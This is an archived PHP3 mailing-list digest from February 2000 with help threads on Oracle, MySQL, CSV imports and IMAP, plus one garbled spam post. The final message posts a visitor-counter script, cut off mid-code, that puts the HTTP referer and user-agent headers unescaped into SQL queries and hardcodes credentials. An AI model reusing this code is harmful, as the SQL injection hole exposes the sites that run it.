OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: php3 Digest 6 Feb 2000 18:00:01 -0000 Issue 1462
From: php3-digest-helplists.php.net
Date: Sun Feb 06 2000 - 12:00:01 CST


php3 Digest 6 Feb 2000 18:00:01 -0000 Issue 1462

Topics (messages 74678 through 74716):

Oracle8i: binding variables from stor.proc.
        74678 by: <vojtechservac.edit.cz>
        74682 by: Phillip Ross <philmetaverse.inforocket.com>
        74683 by: <vojtechservac.edit.cz>

Error Message
        74679 by: Brad Bonkoski <bbc1049saintjoe.edu>

buying PHP books in Australia
        74680 by: Paul Haddon <paullistmail.hartingdale.com.au>
        74694 by: "Luke Welling" <luke.wellingrmit.edu.au>

Fw: Hacker Proof Password Protection (Revisions)
        74681 by: "Michael Fountain" <mfnetdoor.com>

        74684 by: dreamerxnetian.com
        74687 by: "NickM" <teradohotmail.com>

Stop auto quoting
        74685 by: "NickM" <teradohotmail.com>

dare i say -- JavaScript and PHP3...
        74686 by: "NickM" <teradohotmail.com>

Importing CSV file
        74688 by: "phplist" <phplistwowmation.com>
        74690 by: Stanislav Malyshev <staszend.com>
        74697 by: "NickM" <teradohotmail.com>

Win32 PHP Apache module
        74689 by: "Jan Hlousek" <J.Hlouseksh.cvut.cz>

IMAP support
        74691 by: "John Lee" <jrleeddsystem.com>
        74702 by: "alex" <alexquad.com.ar>

mysql error
        74692 by: "sinisamysql.com" <sinisamysql.com>
        74693 by: Ramon Nours <nikihome.com>
        74695 by: "James Moore" <JamesProspect-enterprises.co.uk>
        74696 by: <sinisamysql.com>
        74699 by: Ramon Nours <nikihome.com>
        74700 by: <sinisamysql.com>
        74701 by: Ramon Nours <nikihome.com>
        74713 by: Ramon Nours <nikihome.com>

Problems with search function
        74698 by: "Fates" <fateswarninghome.com>

Connecting MySQL using command mysql_connect()
        74703 by: "David Loke" <dihueitheoikoses.com>
        74707 by: "James Moore" <JamesProspect-enterprises.co.uk>

calling code in another language
        74704 by: Shawn Gordon <shawn-gordonhome.com>

pre pubescent newbie
        74705 by: "Sam Leibowitz" <sleibowitzbtcwcu.org>

POP3
        74706 by: "SANIsoft" <tariquenagpur.dot.net.in>

Static member variables?
        74708 by: "Josh G" <joshisa.net.au>

Hacker Proof Password (Revisions)
        74709 by: "Michael Fountain" <mfnetdoor.com>
        74711 by: Stanislav Malyshev <staszend.com>
        74712 by: mattzink.demon.co.uk

auto_increment problems - only displays in ascending order
        74710 by: "WL" <willlocalads.net>

font width
        74714 by: "Andreas Altenburg" <altenburgfup.de>

pre-loading php code
        74715 by: Neil Mayle <neilyobaby.com>

Is PHP Ready for the Bigtime?
        74716 by: "S.L. Killick" <studioqchorus.net>

Administrivia:

To subscribe to the digest, e-mail:
        php3-digest-subscribelists.php.net

To unsubscribe from the digest, e-mail:
        php3-digest-unsubscribelists.php.net

To post to the list, e-mail:
        php3lists.php.net

----------------------------------------------------------------------

attached mail follows:


On Sat, 5 Feb 2000, Phillip Ross wrote:

> On Sun, 6 Feb 2000 vojtechservac.edit.cz wrote:
> > create procedure myproc(myvar in out number)
> > as
> > begin
> > myvar := 12345;
> > end;
>
> When you created this procedure did you get any compilation
> warnings?
>

No, I didn't.

>
> > ocibindbyname($stmt, ":retval", $retval, -1);
>
> Try one of these instead:
> OCIBindByName($stmt, ":retval", &$retval, -1);
> OCIBindByName($stmt, ":retval", $retval, 32);
> OCIBindByName($stmt, ":retval", &$retval, 32);
>
> It could be that the function wants you to pass it by
> reference, or that it may want you to specify a max length for
> the variable, or both.
>

The same errors appear in all the cases above :(.

        Vojtech Novacek

attached mail follows:


On Sun, 6 Feb 2000 vojtechservac.edit.cz wrote:
> > It could be that the function wants you to pass it by
> > reference, or that it may want you to specify a max length for
> > the variable, or both.
> >
>
> The same errors appear in all the cases above :(.
>

        What version of PHP are you using?

~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.~

     Phillip Ross Email: philinforocket.com
     Director, Database Services Voice: (212)905-0612
     InfoRocket, Inc. Fax: (212)905-0630

                              Visit our site today!
                           http://www.inforocket.com

.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-._.-~^~-.

attached mail follows:


On Sun, 6 Feb 2000, Phillip Ross wrote:

> On Sun, 6 Feb 2000 vojtechservac.edit.cz wrote:
> > > It could be that the function wants you to pass it by
> > > reference, or that it may want you to specify a max length for
> > > the variable, or both.
> > >
> >
> > The same errors appear in all the cases above :(.
> >
>
> What version of PHP are you using?
>

Oops. I'm using PHP 3.0.12 with Oracle 8.1.5.1 EE.

I tried many scripts around the web(in archive of this list too) and no
one solved my problem.
I can rewrite my stor. procedures to functions(and 'select myfunc(pars)
from dual' then), but I think that's way to the hell...
So, if anybody has functional php script(and, if possible, sql create
table sample), please, post me that(I will really happy:).

Thanks
        Vojtech Novacek

attached mail follows:


Hello...

Could someone please tell me what this error is:
Warning: 0 is not a PostgresSQL link index

I get this error when I try to call a function with a query in it. The
confusing part is when I echo the query out and run it against the back
end it works as expected. And to further drive me crazy, when I put the
code in line with the other code it works perfectly fine, but I am going
to use this a lot in the page so I would like to get the function
working. Any thoughts??

TIA.
-Brad

attached mail follows:


On Sun, Feb 06, 2000 at 07:11:15AM +1100, Michael Waples wrote:

> It seems the major book stores here don't have all the newer php (or
> MYsql) books here yet.
> Does anone know somewhere in Australia that might have them ?

www.EverythingLinux.com.au have quite a large range.

Cheers

Paul Haddon
Technical Services Manager
Hartingdale Internet

attached mail follows:


> It seems the major book stores here don't have all the newer php (or
> MYsql) books here yet.
> Does anone know somewhere in Australia that might have them ?

The Technical Book Store in Swanston St Melbourne has all four PHP books.

Luke Welling
 
 

attached mail follows:


I tried the hacks you sent me and revised the script accordingly.

Please try again: http://www.modernhost.com/1/index.php3 (The database has been cleared)

Remember, when your login fails 3 times, even if you then use the back button and use the correct login and pass, you will still not be allowed access.

If you have to log off your ISP and then redial for a different IP, this is possible but would get very old for a hacker trying to do brut force cracking.

Please send me your thoughts and comments.

Michael Fountain

attached mail follows:


 

<BR>
<HR>- <a href="http://www.netian.com/event/mcdonalds/main.html">'¸' Çϰí 'º°' ¶á´Ù. ³×¶ì¾Ó »çÀ̹ö½ºÅ¸ÄÁÅ×½ºÆ®</a><br>- ÀÎÅÍ³Ý ºñÁî´Ï½ºµµ ³×¶ì¾Ó°ú »óÀÇÇϼ¼¿ä! <a href="http://www.netian.com/event/ibiz_contact.html">³×¶ì¾Ó i-Bussiness</a><p>³»°¡ ¼¼¿ì´Â ÀÎÅÍ³Ý Ä¿¹Â´ÏƼ<BR><a href="http://www.netian.com">³× / ¶ì / ¾Ó</a><BR>
<BR>
<IMG SRC="netian.com">http://mail.netian.com:80/cgi-bin/mailrcpt.cgi?userid=webmaster&msgid=20000128.AAA949044902netian.com">
</FONT>

attached mail follows:


What kinda language is this. Maybe you should try a bit of english to make it easier on us :)

Nick

  ----- Original Message -----
  From: dreamerxnetian.com
  To: php3lists.php.net
  Sent: Sunday, February 06, 2000 9:51 AM
  Subject: [PHP3]

------------------------------------------------------------------------------
  - '¸' Çϰí 'º°' ¶á´Ù. ³×¶ì¾Ó »çÀ̹ö½ºÅ¸ÄÁÅ×½ºÆ®
  - ÀÎÅÍ³Ý ºñÁî´Ï½ºµµ ³×¶ì¾Ó°ú »óÀÇÇϼ¼¿ä! ³×¶ì¾Ó i-Bussiness
  ³»°¡ ¼¼¿ì´Â ÀÎÅÍ³Ý Ä¿¹Â´ÏƼ
  ³× / ¶ì / ¾Ó

   

   

------------------------------------------------------------------------------

  --
  PHP 3 Mailing List <http://www.php.net/>
  To unsubscribe, send an empty message to php3-unsubscribelists.php.net
  To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net
  To search the mailing list archive, go to: http://www.php.net/mailsearch.php3
  To contact the list administrators, e-mail: php-list-adminlists.php.net

attached mail follows:


Do you mean when you are printing a statement?

print "this is \\ good";
print 'this is \ good";

As you can see the second print using single quotes (') does not have to
translate the text, whereas the first one has to have a backslash before any
charachter (so \" and \$ etc) to see it.

OK, now if it is in a variable that you are parsing between files you need
to use urlencode and urldecode (if you are passing it through the url at
least).

If you are simply altering a variable with this data already in it then you
can use str_replace to change these.

Hope that helps,

Nick

----- Original Message -----
From: "Kai Seefeldt" <archiverdb.geocrawler.com>
To: <php3lists.php.net>
Sent: Sunday, February 06, 2000 3:23 AM
Subject: [PHP3] Stop auto quoting

> This message was sent from Geocrawler.com by "Kai Seefeldt"
<kailegacy.de>
> Be sure to reply to that address.
>
> Hi here,
> PHP ist alway quoting " to " and to \ and '
> to '.
> But I don´t want PHP3 to do this.
> How can i stop or redo this quotes.
> P.S.: I can not modify the config files, to it
> would be nice to give me an Script solution.
> Thank a lot,
> Kai Seefeldt from Germany.
>
> Geocrawler.com - The Knowledge Archive
>
> --
> PHP 3 Mailing List <http://www.php.net/>
> To unsubscribe, send an empty message to php3-unsubscribelists.php.net
> To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net
> To search the mailing list archive, go to:
http://www.php.net/mailsearch.php3
> To contact the list administrators, e-mail: php-list-adminlists.php.net
>

attached mail follows:


It works for me like:
$id=1;
$title = "test";
echo "<a href=\"#\"onclick=\"window.open('sshot.php3?id=$id',".
 "'windowname','height=450,width=600,top=20,left=20,toolbar=no,".
 "directories=no,menubar=no,status=yes,resize=yes,scrollbars=yes')\">".
 "<font face=\"Arial, Helvetica, sans
serif\"size=2><b><u>$title</u></b></font></a>";

which is the same pretty much.

Nick

----- Original Message -----
From: "d e l d h a n o a" <ddhanoagolden.net>
To: <php3lists.php.net>
Sent: Sunday, February 06, 2000 6:29 AM
Subject: [PHP3] dare i say -- JavaScript and PHP3...

>
> i have a .php3 file with the following javascript code to pop open a
> customized window:
>
> echo "<ul><li><a href=\"#\"
>
onclick=\"window.open('sshot.php3?id=$id','windowname','height=450,width=600
>
,top=20,left=20,toolbar=no,directories=no,menubar=no,status=yes,resize=yes,s
> crollbars=yes')\"><font face=\"Arial, Helvetica, sans serif\"
> size=2><b><u>$title</u></b></font></a>";
>
>
> and php dont like it... I asked in the IRC channel but no one answered...
>
> when I try this script I click the link and nothing happens.. no new
> window.. nothing... yet the javascript code does work well in a .html
> file...
>
>
> - Del
>
>
> --
> PHP 3 Mailing List <http://www.php.net/>
> To unsubscribe, send an empty message to php3-unsubscribelists.php.net
> To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net
> To search the mailing list archive, go to:
http://www.php.net/mailsearch.php3
> To contact the list administrators, e-mail: php-list-adminlists.php.net
>

attached mail follows:


Hi all,

Before I embark on this, I would just like a bit of advice.....

I have a client who wants to update a database on a daily basis (this is a
different question to my Access on from a couple of days ago BTW).... We
have a mySQL database set up on the server and he has a CSV file which
contains the records to be added to the database. I was thinking of....

1. Creating a form and then use uploading the CSV file to the server
2. Use PHP to read in the file and insert it within the database
3. Use PHP to clean the database for out-of-date records.

I am not sure how well PHP will cope with this file however, because it is
usually quite large. For example, Fridays file contained:

700 records
33 fields
and the file size for the CSV document was 2.8Mb

Am I going about this the right way, or is there another, simpler method
that I could use?

Thanks in advance

Ade

Adrian Teasdale
Inovica Ltd

--- i n o v i c a ---------------------------------
e: inspiremeinovica.com
w: http://www.inovica.com

e-commerce, virtual communities and multimedia
Hosting and dedicated servers coming soon.
Contact us for low-cost domain name registration
--------------------------------------------------

attached mail follows:


p>> Am I going about this the right way, or is there another, simpler method
p>> that I could use?

You can import it directly into mySQL with LOAD DATA INFILE statement.

-- 
Stanislav Malyshev   staszend.com          
+972-3-6139665

attached mail follows:


I think it depends on whether it is offsite or not. If the database is internal then a 2.8Mb file will upload quite quickly and so not be a problem, if offsite it could be quite slow if the connection is not the best. PHP should be able to process it fairly quickly though.

If it is offsite and slow you could consider a way for it to be uploaded outside of the web browser. Maybe an ftp script. Then the web process would simply activate it, this way they could pick the files from in the web browser that are on the server uploaded dir that they want to have processed.

One other consideration is the clean up process, if this is going to take a while you should remove this from the web reporting, that is to say you would call the script to run but then just finish the page output so that there is no wait. Then for reporting purposes they could be sent a mail on completion. If it is fast enough though then keep it in the browser. But for safety you should log the status reports to file incase they get no feedback and want to know what was wrong.

Oh one final consideration, but not entirely sure about this, I think that uploading files is not available in older browsers.

Nick

----- Original Message ----- From: "phplist" <phplistwowmation.com> To: <php3lists.php.net> Sent: Sunday, February 06, 2000 10:53 AM Subject: [PHP3] Importing CSV file

> Hi all, > > Before I embark on this, I would just like a bit of advice..... > > I have a client who wants to update a database on a daily basis (this is a > different question to my Access on from a couple of days ago BTW).... We > have a mySQL database set up on the server and he has a CSV file which > contains the records to be added to the database. I was thinking of.... > > 1. Creating a form and then use uploading the CSV file to the server > 2. Use PHP to read in the file and insert it within the database > 3. Use PHP to clean the database for out-of-date records. > > I am not sure how well PHP will cope with this file however, because it is > usually quite large. For example, Fridays file contained: > > 700 records > 33 fields > and the file size for the CSV document was 2.8Mb > > Am I going about this the right way, or is there another, simpler method > that I could use? > > Thanks in advance > > Ade > > Adrian Teasdale > Inovica Ltd > > --- i n o v i c a --------------------------------- > e: inspiremeinovica.com > w: http://www.inovica.com > > e-commerce, virtual communities and multimedia > Hosting and dedicated servers coming soon. > Contact us for low-cost domain name registration > -------------------------------------------------- > > > -- > PHP 3 Mailing List <http://www.php.net/> > To unsubscribe, send an empty message to php3-unsubscribelists.php.net > To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net > To search the mailing list archive, go to: http://www.php.net/mailsearch.php3 > To contact the list administrators, e-mail: php-list-adminlists.php.net >

attached mail follows:


Does anybody know where can I get PHP as win32 Apache module compiled binary? I failed to compile it - too complicated for me :-) Thank you!

Jan Hlousek

attached mail follows:


I ran the ./configure script with the '--with-imap' option, but when I run <?phpinfo()?> IMAP does not show as available or configured into the PHP module. I am triing to set-up a web mail system and I am having trouble. I am triing to set IMP from Horde.

Have I missed something?

regards jrlee Dallas Design Systems


attached mail follows:


> I ran the ./configure script with the '--with-imap' option, but when I run > <?phpinfo()?> IMAP does not show as available or configured into the PHP > module. I am triing to set-up a web mail system and I am having trouble. I > am triing to set IMP from Horde. > > Have I missed something?

did ./configure give out any errors about not finding c-client.h mail.h or any other related msg? what php version are you using?

attached mail follows:


On Sat, 05 Feb 2000, Ramon Nours wrote: >Hello, I have been trying to install a php3 code written by A.Korlyakov >for the >reason of tracking my visitors. >when I run it...I get the following mysql formatted error: > >>insert into counters 1064:parse error near 'counters set URL='http://www.gamemill.com/playnow.html',open=null' at line 1< > > > >Also in the INSTALL instructions I do not know what this refers to: >>2. Create in MySql user counter,pass counter with access to these tables. > >When I check Mysql tables that I have created >they are empty. >If anyone has used this php3 code before I could really use >some help. > >Thank you in advance, Ramon Nours. >

Hi!

Check whether you have counters table created in database used by the application.

Regards,

Sinisa

+----------------------------------------------------------------------+ | TcX ____ __ _____ _____ ___ == mysqltcx.se | | /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic | | /*/ /*/ /*/ \*\_ |*| |*||*| mailto:sinisamysql.com | | /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaka, Cyprus | | /*/ /*/ /*/\*\_/*/ \*\_/*/ |*|____ | | ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^ | | /*/ \*\ Developers Team | +----------------------------------------------------------------------+

attached mail follows:


> Hi! > > Check whether you have counters table created in database used by the > application. > > Regards, > > Sinisa

Thank you for responding, I double checked all the tables and YES, they are created as instructed in Mysql. Still same parse 1064 error. Ramon.

"sinisamysql.com" wrote: > > On Sat, 05 Feb 2000, Ramon Nours wrote: > >Hello, I have been trying to install a php3 code written by A.Korlyakov > >for the > >reason of tracking my visitors. > >when I run it...I get the following mysql formatted error: > > > >>insert into counters 1064:parse error near 'counters set URL='http://www.gamemill.com/playnow.html',open=null' at line 1< > > > > > > > >Also in the INSTALL instructions I do not know what this refers to: > >>2. Create in MySql user counter,pass counter with access to these tables. > > > >When I check Mysql tables that I have created > >they are empty. > >If anyone has used this php3 code before I could really use > >some help. > > > >Thank you in advance, Ramon Nours. > > > > Hi! > > Check whether you have counters table created in database used by the > application. > > Regards, > > Sinisa > > +----------------------------------------------------------------------+ > | TcX ____ __ _____ _____ ___ == mysqltcx.se | > | /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic | > | /*/ /*/ /*/ \*\_ |*| |*||*| mailto:sinisamysql.com | > | /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaka, Cyprus | > | /*/ /*/ /*/\*\_/*/ \*\_/*/ |*|____ | > | ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^ | > | /*/ \*\ Developers Team | > +----------------------------------------------------------------------+ > > --------------------------------------------------------------------- > Please check "http://www.mysql.com/Manual_chapter/manual_toc.html" before > posting. To request this thread, e-mail win32-thread1518lists.mysql.com > > To unsubscribe, send a message to the address shown in the > List-Unsubscribe header of this message. If you cannot see it, > e-mail win32-unsubscribelists.mysql.com instead.

attached mail follows:


> -----Original Message----- > From: sinisamysql.com [mailto:sinisamysql.com] > Sent: 06 February 2000 12:38 > To: Ramon Nours; win32lists.mysql.com; php3lists.php.net > Subject: [PHP3] Re: mysql error > > > On Sat, 05 Feb 2000, Ramon Nours wrote: > >Hello, I have been trying to install a php3 code written by A.Korlyakov > >for the > >reason of tracking my visitors. > >when I run it...I get the following mysql formatted error: > > > >>insert into counters 1064:parse error near 'counters set > URL='http://www.gamemill.com/playnow.html',open=null' at line 1< > > > > > > > >Also in the INSTALL instructions I do not know what this refers to: > >>2. Create in MySql user counter,pass counter with access to > these tables. You have created the user counter with a password of counter havn't you?

to check open mysql on the command line then do the following

Mysql>Use Mysql; Database Changed Mysql>show tables; +------------------+ | Tables in mysql | +------------------+ | Db | | Host | | User | +------------------+ Mysql>select * from user;

You should then see entries in this table of all your users there should be one which reads

+------------------+.... | User | +------------------+.... | Counter | +------------------+....

If not look at your documentation on how to add new users. You need to add one with the username Counter and the password Counter. If you do not have this amount of access on your db you need to go through the entire script and alter the user names and password in the mysql_connect statements. This might mean just changing a single var in an include file or it might mean chaning them all manually.

HTH

--
James Moore
http://www.prospect-enterprises.co.uk
> >
> >When I check Mysql tables that I have created
> >they are empty.
> >If anyone has used this php3 code before I could really use
> >some help.
> >
> >Thank you in advance, Ramon Nours.
> >
>
> Hi!
>
> Check whether you have counters table created in database used by the
> application.
>
> Regards,
>
> Sinisa
>
> +----------------------------------------------------------------------+
> | TcX  ____  __     _____   _____  ___     ==  mysqltcx.se            |
> |     /*/\*\/\*\   /*/ \*\ /*/ \*\ |*|     Sinisa Milivojevic          |
> |    /*/ /*/ /*/   \*\_   |*|   |*||*|     mailto:sinisamysql.com     |
> |   /*/ /*/ /*/\*\/*/  \*\|*|   |*||*|     Larnaka, Cyprus             |
> |  /*/     /*/  /*/\*\_/*/ \*\_/*/ |*|____                             |
> |  ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^                            |
> |             /*/             \*\                Developers Team       |
> +----------------------------------------------------------------------+
>
> --
> PHP 3 Mailing List <http://www.php.net/>
> To unsubscribe, send an empty message to php3-unsubscribelists.php.net
> To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net
> To search the mailing list archive, go to:
> http://www.php.net/mailsearch.php3
> To contact the list administrators, e-mail: php-list-adminlists.php.net
>
>

attached mail follows:


Ramon Nours writes: > > Hi! > > > > Check whether you have counters table created in database used by the > > application. > > > > Regards, > > > > Sinisa > > > > Thank you for responding, > I double checked all the tables and YES, they are > created as instructed in Mysql. > Still same parse 1064 error. > Ramon. > >

Hi!

Check also that you have logged to the required database.

Regards,

Sinisa

+----------------------------------------------------------------------+ | TcX ____ __ _____ _____ ___ == mysqltcx.se | | /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic | | /*/ /*/ /*/ \*\_ |*| |*||*| mailto:sinisamysql.com | | /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaka, Cyprus | | /*/ /*/ /*/\*\_/*/ \*\_/*/ |*|____ | | ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^ | | /*/ \*\ Developers Team | +----------------------------------------------------------------------+

attached mail follows:


I seem to have a problem with this sql statement in the script: if (!mysql_query( "INSERT counters set URL='$HTTP_REFERER',open=NULL")) { MySqlErrorGif ( "insert into counters"); }

I tried to manually INSERT counters set URL='http://www.gamemill.com/playnow.html',open=NULL; in Mysql back end and THAT seems to be getting me the parse error 1064. So I changed it to only INSERT that i know...which is INSERT INTO counters (URL,open) VALUES ('http://www.gamemill.com/playnow.html',NULL); That WORKS...so I changed the original script,BUT: The script still is not working now I get no image but nothing happens. Where the sql correct in the original script? I get one database on my virtual host with a password. Is that what you mean by changing the usercounter and passcounter? the script seems to connect to the database fine. any Ideas would really help. Thanks again...Ramon.

sinisamysql.com wrote: > > Ramon Nours writes: > > > Hi! > > > > > > Check whether you have counters table created in database used by the > > > application. > > > > > > Regards, > > > > > > Sinisa > > > > > > > > Thank you for responding, > > I double checked all the tables and YES, they are > > created as instructed in Mysql. > > Still same parse 1064 error. > > Ramon. > > > > > > Hi! > > Check also that you have logged to the required database. > > Regards, > > Sinisa > > +----------------------------------------------------------------------+ > | TcX ____ __ _____ _____ ___ == mysqltcx.se | > | /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic | > | /*/ /*/ /*/ \*\_ |*| |*||*| mailto:sinisamysql.com | > | /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaka, Cyprus | > | /*/ /*/ /*/\*\_/*/ \*\_/*/ |*|____ | > | ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^ | > | /*/ \*\ Developers Team | > +----------------------------------------------------------------------+ > > --------------------------------------------------------------------- > Please check "http://www.mysql.com/Manual_chapter/manual_toc.html" before > posting. To request this thread, e-mail win32-thread1520lists.mysql.com > > To unsubscribe, send a message to the address shown in the > List-Unsubscribe header of this message. If you cannot see it, > e-mail win32-unsubscribelists.mysql.com instead.

attached mail follows:


Ramon Nours writes: > I seem to have a problem with this sql statement in the script: > if (!mysql_query( "INSERT counters set URL='$HTTP_REFERER',open=NULL")) > { MySqlErrorGif ( "insert into counters"); } > > I tried to manually > INSERT counters set > URL='http://www.gamemill.com/playnow.html',open=NULL; > in Mysql back end and THAT seems to be getting me the parse error 1064. > So I changed it to only INSERT that i know...which is > INSERT INTO counters (URL,open) VALUES > ('http://www.gamemill.com/playnow.html',NULL); > That WORKS...so I changed the original script,BUT: > The script still is not working > now I get no image but nothing happens. > Where the sql correct in the original script? > I get one database on my virtual host with a password. > Is that what you mean by changing the usercounter and passcounter? > the script seems to connect to the database fine. > any Ideas would really help. > Thanks again...Ramon. >

Hi!

That syntax with SET statements in perfectly OK in MySQL since version 3.22.10. So check up server version !!

Your script probably now works just fine. Check the tables and see if data is there. May be you just have to add a message that it is OK ?

Regards,

Sinisa

+----------------------------------------------------------------------+ | TcX ____ __ _____ _____ ___ == mysqltcx.se | | /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic | | /*/ /*/ /*/ \*\_ |*| |*||*| mailto:sinisamysql.com | | /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaka, Cyprus | | /*/ /*/ /*/\*\_/*/ \*\_/*/ |*|____ | | ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^ | | /*/ \*\ Developers Team | +----------------------------------------------------------------------+

attached mail follows:


I just checked the version of my virtual hosts Mysql...its 3.21.33 am I out of luck? Thank you for all your help. Ramon.

sinisamysql.com wrote: > > Ramon Nours writes: > > I seem to have a problem with this sql statement in the script: > > if (!mysql_query( "INSERT counters set URL='$HTTP_REFERER',open=NULL")) > > { MySqlErrorGif ( "insert into counters"); } > > > > I tried to manually > > INSERT counters set > > URL='http://www.gamemill.com/playnow.html',open=NULL; > > in Mysql back end and THAT seems to be getting me the parse error 1064. > > So I changed it to only INSERT that i know...which is > > INSERT INTO counters (URL,open) VALUES > > ('http://www.gamemill.com/playnow.html',NULL); > > That WORKS...so I changed the original script,BUT: > > The script still is not working > > now I get no image but nothing happens. > > Where the sql correct in the original script? > > I get one database on my virtual host with a password. > > Is that what you mean by changing the usercounter and passcounter? > > the script seems to connect to the database fine. > > any Ideas would really help. > > Thanks again...Ramon. > > > > Hi! > > That syntax with SET statements in perfectly OK in MySQL since version > 3.22.10. So check up server version !! > > Your script probably now works just fine. Check the tables and see if > data is there. May be you just have to add a message that it is OK ? > > Regards, > > Sinisa > > +----------------------------------------------------------------------+ > | TcX ____ __ _____ _____ ___ == mysqltcx.se | > | /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic | > | /*/ /*/ /*/ \*\_ |*| |*||*| mailto:sinisamysql.com | > | /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaka, Cyprus | > | /*/ /*/ /*/\*\_/*/ \*\_/*/ |*|____ | > | ^^^^^^^^^^^^/*/^^^^^^^^^^^\*\^^^^^^^^^^^ | > | /*/ \*\ Developers Team | > +----------------------------------------------------------------------+ > > --------------------------------------------------------------------- > Please check "http://www.mysql.com/Manual_chapter/manual_toc.html" before > posting. To request this thread, e-mail win32-thread1522lists.mysql.com > > To unsubscribe, send a message to the address shown in the > List-Unsubscribe header of this message. If you cannot see it, > e-mail win32-unsubscribelists.mysql.com instead.

attached mail follows:


Ok, Thanks to Sinisa and the rest...I made it work. Had to make a few adjustments because of my servers ancient version of Mysql. Here is the completed code if anyone is interested. Ramon :-)

<? header("Content-type: image/gif"); function ErrorGif($str) { $len=StrLen($str); $im=ImageCreate($len*6,16); $black = ImageColorAllocate($im, 0,0,0); $red = ImageColorAllocate($im,255,0,0); ImageFill($im,0,0,$red); ImageString($im,2,0,0,$str,$black); ImageGif($im); ImageDestroy($im); exit; } function MySqlErrorGif($str) { $str=$str. " ".mysql_errno(). ":".mysql_error(); ErrorGif($str); } $exception= "195.82.31.54 192.168.22.22 "; if (isset($HTTP_REFERER)) { if (mysql_connect( "localhost", "gamemill", "mypassword")<1) { ErrorGif( "Can\'t connect to Mysql"); } if (!mysql_select_db( "userdb") ) { MySqlErrorGif ( "select_db"); } if (ereg( "$REMOTE_ADDR",$exception)) { $result = mysql_query( "select eq.id from eq,counters where (eq.id1=counters.id) AND URL='$HTTP_REFERER'"); $id=mysql_result($result,0); } else { $result = mysql_query( "SELECT id FROM counters WHERE URL='$HTTP_REFERER'"); if (mysql_errno() != 0 ) { MySqlErrorGif ( "select from counters"); } if(mysql_numrows($result)!=1) { if (!mysql_query( "INSERT INTO counters (URL, open) VALUES ('$HTTP_REFERER',NULL)")) { MySqlErrorGif ( "insert into counters"); } $id=mysql_insert_id(); if (!mysql_query( "INSERT INTO eq (id,id1)VALUES($id,$id)")) { MySqlErrorGif ( "insert into eq"); } } else { $id=mysql_result($result,0); } if (!mysql_query( "UPDATE counters SET counts=counts+1 WHERE id=$id")) { MySqlErrorGif ( "UPDATE counters"); } $result = mysql_query( "select id from eq where id1=$id"); $id=mysql_result($result,0); if (mysql_errno() != 0 ) { MySqlErrorGif ( "select from eq"); } $result = mysql_query( "SELECT type FROM agents WHERE agent='$HTTP_USER_AGENT'"); if (mysql_errno() != 0 ) { MySqlErrorGif ( "select from agents"); } if(mysql_numrows($result)!=1) { if (ereg( "^Mozilla/",$HTTP_USER_AGENT)) { if (ereg( "MSIE",$HTTP_USER_AGENT)) { if (!mysql_query( "INSERT INTO agents (agent, open, type) VALUES ('$HTTP_USER_AGENT', NULL, 'IE')")) { MySqlErrorGif ( "insert into agents"); } } elseif (ereg( "compatible",$HTTP_USER_AGENT)) { if (!mysql_query( "INSERT INTO agents (agent, open, type) VALUES ('$HTTP_USER_AGENT', NULL, 'other')")){ MySqlErrorGif ( "insert into agents"); } } else { if (!mysql_query( "INSERT INTO agents (agent, open, type) VALUES ('$HTTP_USER_AGENT', NULL, 'Netscape')")) { MySqlErrorGif ( "insert into agents"); } } } else { if (!mysql_query( "INSERT INTO agents (agent, open, type) VALUES('$HTTP_USER_AGENT', NULL, 'other')")) { MySqlErrorGif ( "insert into agents"); } } $result = mysql_query( "SELECT type FROM agents WHERE agent='$HTTP_USER_AGENT'"); if (mysql_errno() != 0 ) { MySqlErrorGif ( "select from agents"); } if(mysql_numrows($result)!=1) { MySqlErrorGif ( "Can\'t make second select from agents"); } } $b=mysql_result($result,0); if (!mysql_query( "UPDATE agents SET counts=counts+1 WHERE agent='$HTTP_USER_AGENT'")) { MySqlErrorGif ( "UPDATE agent 1");} if (!mysql_query( "UPDATE counters SET $b=$b+1 WHERE URL='$HTTP_REFERER'")) { MySqlErrorGif ( "UPDATE counters 2"); } } $result = mysql_query( "SELECT sum(counts),sum(IE),sum(Netscape),sum(Other) from counters left join eq on eq.id1=counters.id where eq.id=$id group by eq.id"); if (mysql_errno() != 0 ) { MySqlErrorGif ( "select from counters"); } list($c,$i,$n,$o) = mysql_fetch_row($result); if ($i>$n) { $m=$i;} else {$m=$n;} if ($m<$o) { $m=$o;} if ($m == 0) { $m=1; } $cs=sprintf( "%05d",$c); $len=StrLen($cs)*9+3; $im=ImageCreate($len,22); $white = ImageColorAllocate($im,255,255,255); $black = ImageColorAllocate($im, 0,0,0); $red = ImageColorAllocate($im,255,0,0); $blue = ImageColorAllocate($im,0,0,255); $limegreen = ImageColorAllocate($im,50,205,50); ImageFill($im,0,0,$white); ImageString($im,5,3,2,$cs,$black); ImageLine($im,0,16,$i*$len/$m,16,$limegreen); 